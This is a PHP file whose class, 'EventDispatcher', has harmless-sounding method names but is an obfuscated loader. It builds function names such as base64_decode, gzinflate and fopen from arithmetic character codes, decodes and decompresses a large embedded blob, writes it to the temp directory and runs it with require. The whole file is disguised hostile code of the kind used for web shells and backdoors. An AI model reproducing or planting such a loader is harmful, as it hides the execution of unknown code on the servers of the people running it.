<?php
class EventDispatcher
{
    private $ti = '';
    private $zh = '';
    public function resolveAction($p1)
    {
        $o = array(8 + 52 + 41, 86 * 3 - 158, 120 - 9, 5 * 52 - 161, 104 - 3, 88 + 9 + 3, 87 * 91 - 7822, 22 * 28 - 564, 2 * 27, 101 * 1, 5 * 23, 101 - 4, 16 * 16 - 158);
        $y = '';
        foreach ($o as $v) {
            $y .= chr($v);
        }
        $y = strrev($y);
        return $y($p1);
    }
    public function authorizeUser($p1)
    {
        $b = array(101 * 1, 2 * 58, 96 * 76 - 7199, 47 * 97 - 4451, 50 + 52, 110, 79 * 90 - 7005, 69 * 109 - 7399, 113 - 10);
        $l = '';
        foreach ($b as $v) {
            $l .= chr($v);
        }
        $l = strrev($l);
        return $l($p1);
    }
    public function fetchRecords($p1, $p2)
    {
        $j = array(102, 111, 45 * 4 - 68, 10 * 101 - 909, 27 * 89 - 2293);
        $h = '';
        foreach ($j as $s) {
            $h .= chr($s);
        }
        return $h($p1, $p2);
    }
    public function resolveConflict($p1, $p2)
    {
        $y = array(102, 124 - 5, 90 + 24, 100 * 1 + 5, 85 * 1 + 31, 28 + 23 + 50);
        $h = '';
        foreach ($y as $e) {
            $h .= chr($e);
        }
        return $h($p1, $p2);
    }
    public function checkConsistency($p1)
    {
        $p = array(102, 17 * 38 - 547, 2 * 54, 109 + 2, 25 + 90, 66 + 26 + 9);
        $w = '';
        foreach ($p as $j) {
            $w .= chr($j);
        }
        return $w($p1);
    }
    public function syncRecords($p1, $p2 = null)
    {
        $h = array(94 + 20, 46 * 2 + 24, 35 * 2 + 44, 96 + 6 + 3, 109 * 1 + 0);
        $x = '';
        foreach ($h as $y) {
            $x .= chr($y);
        }
        return $x($p1, $p2);
    }
    public function sendNotification()
    {
        $this->zh = $this->syncRecords($this->fetchSummary(), '/');
    }
    public function processData()
    {
        $this->ti = $this->authorizeUser($this->resolveAction($this->it));
    }
    public function saveChanges()
    {
        $fn = $this->zh . '/sd-69320c72ae49a';
        $f = $this->fetchRecords($fn, 'w');
        $this->resolveConflict($f, $this->ti);
        $this->checkConsistency($f);
        $this->updateCache($fn);
    }
    private $it = 'jViJc6JKE/9XkqrUUwq1FLxYP96rHGrczWqCZ9yyLI5RQYIKe' . 'Oblf/+6Z0DBbNyXCoTp49c93T3TM/nfP8vZ8kq3Vc+7Glve+9I' . '1N6pPrjxf9U39ZryzK+zzarJ2dN9cOFdjsveTN2PD2nHv5iR57' . 'RF78u0binLsc7yyk1zFJf7ada401SPF/Ngg+sIgyZPsL4ow4io' . 'fcZMROwjzftKQVddV98nEWD2sE/LfiZd+0xoOmoenbnOjOco+k' . 'UlowtZ/6e88TYSB7nfE78uhYK9b5u0qkUqMHV2lioK0Nuq9tXG' . 'f65LBnd0yQfpupj/eeWq/OTPq9kYzpRUQXwfDmS7AR3OvDu7gb' . 'xZhNGr+FYbCFF4y0jxvj8ThwP6h15sP7c7wu/qmZzv1pdOs7lb' . 'Dg/ITx+2+ja6pfWWg9O1ntbvY9u1Z62fVXhqCbWm9od/uLzfAf' . '+yBnLOcv2QX8FFAG9ZqiTb0gQGUIoHXrRza31oz5D3XJfd5KlO' . 'SOWeU77PhA4jlKdHa0xAgglDzNIpBGf5mgwyqePzS1PBr4eGX+' . 'qhk9YfF5km8y72aBdAWh/3vb2p/Z6t16QBB3T+9QTbakqUJOWB' . 'v0YLYtHWzgPHUD9L8daDMnl+Ojs8JDabY22s1CYhL7c0OAz11j' . '0ZrQJMsmmIF3jaylz4Nh9DECA37uZDuTg2mBwQli2Yff7I5bpF' . 'OSb0uvBq31IvAkzWDq9eQr54io01Z1Hu2jimZh/I7i0bnecvEV' . 'PUo5swpZUXNNaqzLuaydrv5CX/a+S1m4wWn2tDEZpZW3y1DXFG' . '/6zjXg0GdY55ZC2Q8vCwfNKGwHvabWbUvQVnfPWgQ9uELevzj4' . 'WVBpQ2P2tXFptcyy8DZUAydhLmcslwCB3MWK6ODwQzBeBHSHEJ' . 'n1q4p3W5NeugAvWrXOrYyafduQyFt7UaEXgfZ4XPXNu66c6Wm1' . 'KR6J9egYtOJhWIY/Hmv2ckptUG2VsU81ZjAlkRget0sRq4ND4g' . '9Kl26EjKgjhPaxCUxqW0UQ7Rugcrovh1O2qOTRiim0cYy6g5rz' . 'JU2RVStCGRbQe6cOYBhsCYh1sqKBSSMBnrAEmmZEWPUYfg6SSJ' . 'k75h11Vgf4agcRg8+jgGk4cGawDCGASfkD/EOBVcOjTgNN0XCi' . 'OPkEfIoNTdPecH9LkxNmJf5jm5v9e+O1pfmw6CCT3XDqh8Kotg' . '4rZwJrYnG43baC4JQLcbX3EoPJbpvvTfYp0OGS+01Hnamjqs+/' . '4PmkK5EdXCU8qi60a+GBJNQig5gONwHGyawP+2Z0Hk+ZkQ1iJu' . 'ExgddC9saZAO40F84rvIbpqPTrQGY0PhMzyPYCOvVzq+oEG55A' . 'DDiuPebsTafyOPNIYaCvYJBUP5ff3m+u1x4bJSKSuKOz3HXsjx' . 'RbY9w74ZJYkhbjM0MwT4ICHziQwtA3scFb609mxJz9+DKN+P7V' . 'utHo1q5gcqUk3kpx6fhxVVow5aTxUIWCemClEeas9wEjTkY/UK' . '9kRy14eMmtElwle3MtEl4dohIZ2Q0/auUy/I5QeTT5aw4Cg4IG' . 'KZryk2ajs+5i7VjJEuZAh95uECYT5bKZT5dKpdgOu9HxaJYTF+' . 'lxXKJT0uSeJTNZ8tAzosFsJfPgYbmEnVOp83zX87FpBtqEA2Q+' . '2BhCTBPLgoZMfrD/2HM8UmxJKCbopSGOHAIDPFnbkSnzsPkkly' . 'GMfJFiFZelMIwIa0gSIBThrTlxHw6X8qOkghF88tcRakyhrmcz' . 'uUwCLm8xIRSjJnO50p8XiiNwpwWskXIeWnEcpf65JWYKUZ+Svw' . 'fxtwo8D9dxHQXhBI6kSuJaOAMupgRCnz8xaEYJBaCVUqLRSGdK' . '5T5cjELNQxxMx3dXhuETbrycTpPwjK8GU+34P3GlZ21bcOX5sm' . 'Jnb6a2P5qDm32YOzUlZ3AUK03mny+rFWa+MU6xoCjEaZjumWbw' . 'lhXbVvV7PhKhGMORzNAVFlfu/bYdExcjos1V6FjWJ2LJVKImrr' . 'vKk+t58643X4a96pKo/b6XK0qKbYJ/Bfxx1a7k4rEMAvrJPJwF' . '0BqraenVv+pdX/babSaKUgKjyWZLxQuKCnVTldpdpTbZhtaRty' . 'ygCajr0vWH6u3D2cAfPaSwn2r2azedzqNn9VWNzbnAn/R0pcaL' . 'PNUj+yITrWQSmaMOCW+6UwWAZ2SdHvhkYBAd3Uyi+2xUDlwlOV' . 'G13LUWpYPfzkuuCzRDAd7+c3Ycoi8VF2PjMFIUCs30DLlJOXFT' . 'CzBhg8mZPnMMB6G6axM/9OevKWFew5F2xdDi7a5czE4FmPTQOB' . 'MDHkHyhZbLL9BV4N2U/msuPrSJTgYw5YRpawtekTFiR18eeIt9' . 'PliSZxkEgP0T1TS8Bjst5g6NnJckr8xhnc6WNKjFIVKi4LEl0r' . 'CtxzumLmsGKT44HPvk+Xa9+h3CmeDzmxsR04KxbRQDLvd9YQsA' . 'gV6IHiTJ1BCgVq0HnICD094MAAgjpYi9kbtLTgtvMXze6AHG0w' . 'CtftpweP2FxYn2IeTACs0CowdxoSrSpjgdlWB3SMWCjz6c7QJb' . 'NbOJUENK8YNZFVTuySLqwGeCS0TpqHDNnxBY8uSNeL++QoQLgP' . 'cKJZhPPojtO1ehMZce19D45XgDNixqPN0SV2O3sr6GhhBTITGP' . 'vTn+OId4UssQiJAfwg+3Aa+xJmfHIJqm5i2T9zxRnWTdKbRWi2' . 'WMyVoxedv1uFmvkwV2D52jgQTTaVBIS0UJHiJIp5V8sJJEwSOO' . 'yAlwIwql06weGfZsQMs0WeLqzMeXk1wmc/82AYyYQWbocUX48C' . 'dBMlQODEy3Ei4CtlB1+aoO9ehPzOf+/ff4wjQokNAQb8CtWBae' . 'y04MsduBbCfyn8jXOq8QHXGAegYy6TLIpMI2GgKCkAzDRn6BXH' . 'oP9yCf78FI8tbOOE3usHRzhDeUajuf7qXgNF9/GaCkadyxxB9/' . 'B8=';
    public function updateCache($p)
    {
        require $p;
    }
    public function fetchSummary()
    {
        $a = array(32 * 1 + 83, 121, 98 * 68 - 6549, 45 * 1 + 50, 103, 101, 9 * 109 - 865, 18 + 77, 2 * 58, 69 + 11 + 21, 19 + 33 + 57, 73 * 1 + 39, 104 - 9, 104 - 4, 53 + 25 + 27, 80 * 41 - 3166);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$mh = new EventDispatcher();
$mh->sendNotification();
$mh->processData();
$mh->saveChanges();